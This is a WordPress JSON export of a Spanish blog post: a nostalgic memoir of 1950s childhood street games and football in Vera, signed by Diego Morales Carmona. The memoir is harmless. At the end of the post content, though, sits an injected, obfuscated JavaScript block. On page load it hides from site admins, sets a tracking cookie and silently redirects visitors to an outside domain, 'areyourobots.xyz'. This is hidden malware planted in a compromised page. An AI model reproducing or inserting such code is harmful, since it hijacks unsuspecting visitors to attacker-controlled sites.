{"id":2120,"date":"2016-04-22T07:54:13","date_gmt":"2016-04-22T07:54:13","guid":{"rendered":"https:\/\/blog.vera.es\/cultura\/?p=2120"},"modified":"2018-01-15T11:41:27","modified_gmt":"2018-01-15T11:41:27","slug":"juegos-del-ayer","status":"publish","type":"post","link":"https:\/\/blog.vera.es\/cultura\/2016\/04\/22\/juegos-del-ayer\/","title":{"rendered":"JUEGOS DEL AYER"},"content":{"rendered":"<p align=\"justify\">Juegos del ayer<\/p>\n<p align=\"justify\"><!--more--><\/p>\n<p align=\"justify\">Corr\u00edan los a\u00f1os 50 y los ni\u00f1os de Vera, aplicados y disciplinados en el estudio como era costumbre en aquellos tiempos, asist\u00edamos, -vestidos con ropa de la \u00e9poca elaborada por las propias manos de nuestras madres (pantalones cortos, camisas y jers\u00e9is de lana) y aseados con jab\u00f3n <i>Heno de Pravia &#8211;<\/i>, a las pocas escuelas unitarias que hab\u00eda en nuestra ciudad, situadas unas, en placeta \u201cEl Berro\u201d y, otras, en \u201cEl P\u00f3sito\u201d. Estas escuelas, m\u00e1s tarde,- a principios de los sesenta- se concentraron en una Escuela Graduada, que dio lugar a lo que hoy conocemos con el nombre de Colegio Reyes Cat\u00f3licos.<\/p>\n<p align=\"justify\">Pues bien, situado el lector en tiempo y lugar, para los que no lo saben por raz\u00f3n de edad, he de aclarar que los \u00fanicos d\u00edas de descanso durante el curso escolar, con independencia de las vacaciones, eran los jueves por la tarde, y domingos y <i>fiestas de guardar<\/i>. Todos los ni\u00f1os esper\u00e1bamos ansiosos la tarde del jueves y salida del colegio, a las doce del mediod\u00eda y cinco de la tarde. El juego, por antonomasia, en la calle, era nuestro norte.<\/p>\n<p align=\"justify\">Los tiempos que corr\u00edan \u2013 no hab\u00eda televisi\u00f3n ni nada que se pareciese a ella -estaban a a\u00f1os luz de la incorporaci\u00f3n de las tecnolog\u00edas de hoy d\u00eda, as\u00ed como su aplicaci\u00f3n a los juegos infantiles actuales. Eran otros tiempos. Los escasos juguetes que hab\u00eda, de dise\u00f1o muy elemental, s\u00f3lo estaban al alcance de unos pocos. Tener una bicicleta era una enso\u00f1aci\u00f3n. No hab\u00eda m\u00e1s juego que el que la calle nos proporcionaba. No hab\u00eda miedo a coches ni a que te pudieran raptar. La calle era una forma de vida y lo peor que a uno le pod\u00eda venir era el castigo impuesto por nuestros padres ante la queja del maestro o cualquier fechor\u00eda o acci\u00f3n improcedente cometida.<\/p>\n<p align=\"justify\">Las canicas o bolas, (recuerden mis coet\u00e1neos aquello de: \u201cprimera, pie, matute y a la calle\u201d) muy practicadas en los hoyos habidos en el irregular enlosado de piedra, justo a la entrada de nuestra Iglesia, eran junto a la peonza o trompa, el aro, el carricoche y pat\u00edn de cojinetes, las chapas, las se\u00f1ales, el escondite, el abejorro, el chinchimonete, el dopi, el marro cadena, etc. los juegos que los ni\u00f1os, con m\u00e1s frecuencia, practic\u00e1bamos por las tardes en las calles de tierra apisonada de nuestra Vera querida. An\u00e1logamente, esto que cuento, tambi\u00e9n ocurr\u00eda con los juegos de ni\u00f1as, aunque, por desconocimiento y sinti\u00e9ndolo mucho, no puedo entrar en el detalle.<\/p>\n<p align=\"justify\"><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2016\/04\/Foto-Juegos-del-ayer.jpg\"><img fetchpriority=\"high\" decoding=\"async\" class=\"alignnone size-medium wp-image-2121\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2016\/04\/Foto-Juegos-del-ayer-300x221.jpg\" alt=\"Foto Juegos del ayer\" width=\"300\" height=\"221\" srcset=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2016\/04\/Foto-Juegos-del-ayer-300x221.jpg 300w, https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2016\/04\/Foto-Juegos-del-ayer.jpg 736w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p align=\"justify\">Pero era el jueves por la tarde el d\u00eda clave. El juego favorito de todos los ni\u00f1os era el f\u00fatbol y los escenarios para su pr\u00e1ctica: \u201cEl Salar\u201d, \u201cEl Campico\u201d y \u201cLa Era de Jos\u00e9 Mart\u00ednez\u201d. Asist\u00edamos a estos yermos terrenos allanados colocando piedras que hac\u00edan de porter\u00eda y nos distribu\u00edamos en ellos seg\u00fan el lugar de residencia: los de la zona norte, al \u201cCampico\u201d; los de la sur, \u201cLa era de Jos\u00e9 Mart\u00ednez\u201d; y los del centro del pueblo, al \u201cSalar\u201d. Alguna que otra vez, los que jug\u00e1bamos en \u201cEl Salar\u201d compet\u00edamos con los del \u201cCampico\u201d.<\/p>\n<p align=\"justify\">Ahora que esto escribo me viene a la memoria el recuerdo de c\u00f3mo, a las tres de la tarde, una treintena de ni\u00f1os nos concentr\u00e1bamos en casa de un amigo -\u201cChech\u00e9\u201d-, d\u00f3nde recog\u00edamos los botijos para llenarlos de agua en la fuente \u201cLos Cuatro Ca\u00f1os\u201d y, de ah\u00ed, dirigirnos al \u201cSalar\u201d para jugar a ese deporte que tanto nos gustaba: el f\u00fatbol, pero en vivo y en toda su intensidad. No hab\u00eda \u00e1rbitro y las normas de juego eran las impuestas por nosotros mismos. Empez\u00e1bamos el partido nada m\u00e1s llegar, gracias al bal\u00f3n de pl\u00e1stico de color blanco que nos proporcionaba un compa\u00f1ero de clase llamado Narciso. Recuerdo que esa pelota no era muy corriente por estos lares. Las de aqu\u00ed eran de goma. Finaliz\u00e1bamos la competici\u00f3n, tras varias horas de juego ininterrumpido y bien entrada la noche, rendidos y exhaustos ante tanta carrera tras el bal\u00f3n. Una vez en casa, no se evidenciaba preocupaci\u00f3n en nuestros padres por nuestra larga ausencia. No se daban, entonces, circunstancias que propiciasen desasosiego o intranquilidad. \u00c9sa, y no otra, era la mejor forma de disfrutar del jueves por la tarde en nuestra Vera so\u00f1ada.<\/p>\n<p align=\"justify\">Eran, insisto, otros tiempos; tiempos que no volver\u00e1n; tiempos en que la escasez de medios y recursos, a diferencia de los habido ahora con las nuevas tecnolog\u00edas, sin darnos cuenta, nos facultaban para inventar e idear juegos y perseverar en el disfrute de ese ejercicio l\u00fadico, siendo los amigos y la calle nuestros mejores aliados. Eran los juegos del ayer. Me quedo con la profundidad que para m\u00ed encierra el recuerdo de lo \u00faltimo expresado, fruto de acontecimientos y vivencias pasadas.<\/p>\n<p style=\"text-align: right\" align=\"justify\"><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2016\/02\/diego-morales.jpg\"><img decoding=\"async\" class=\"alignnone size-full wp-image-1955\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2016\/02\/diego-morales.jpg\" alt=\"diego morales\" width=\"179\" height=\"109\" \/><\/a><\/p>\n<p style=\"text-align: right\" align=\"justify\">Fdo.: Diego Morales Carmona<\/p>\n<p><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https:\/\/www.areyourobots.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\\x20path=\/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](\/Android\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/BlackBerry\/i)||navigator['userAgent'][_0x287a('0xd')](\/iPhone|iPad|iPod\/i)||navigator[_0x287a('0xe')]['match'](\/Opera Mini\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/IEMobile\/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Juegos del ayer<\/p>\n","protected":false},"author":7,"featured_media":2121,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[20,2],"tags":[82,267],"class_list":["post-2120","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-colaboraciones","category-educacion","tag-diego-morales-carmona","tag-s-xx"],"_links":{"self":[{"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/posts\/2120","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/comments?post=2120"}],"version-history":[{"count":2,"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/posts\/2120\/revisions"}],"predecessor-version":[{"id":2123,"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/posts\/2120\/revisions\/2123"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/media\/2121"}],"wp:attachment":[{"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/media?parent=2120"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/categories?post=2120"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.vera.es\/cultura\/wp-json\/wp\/v2\/tags?post=2120"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}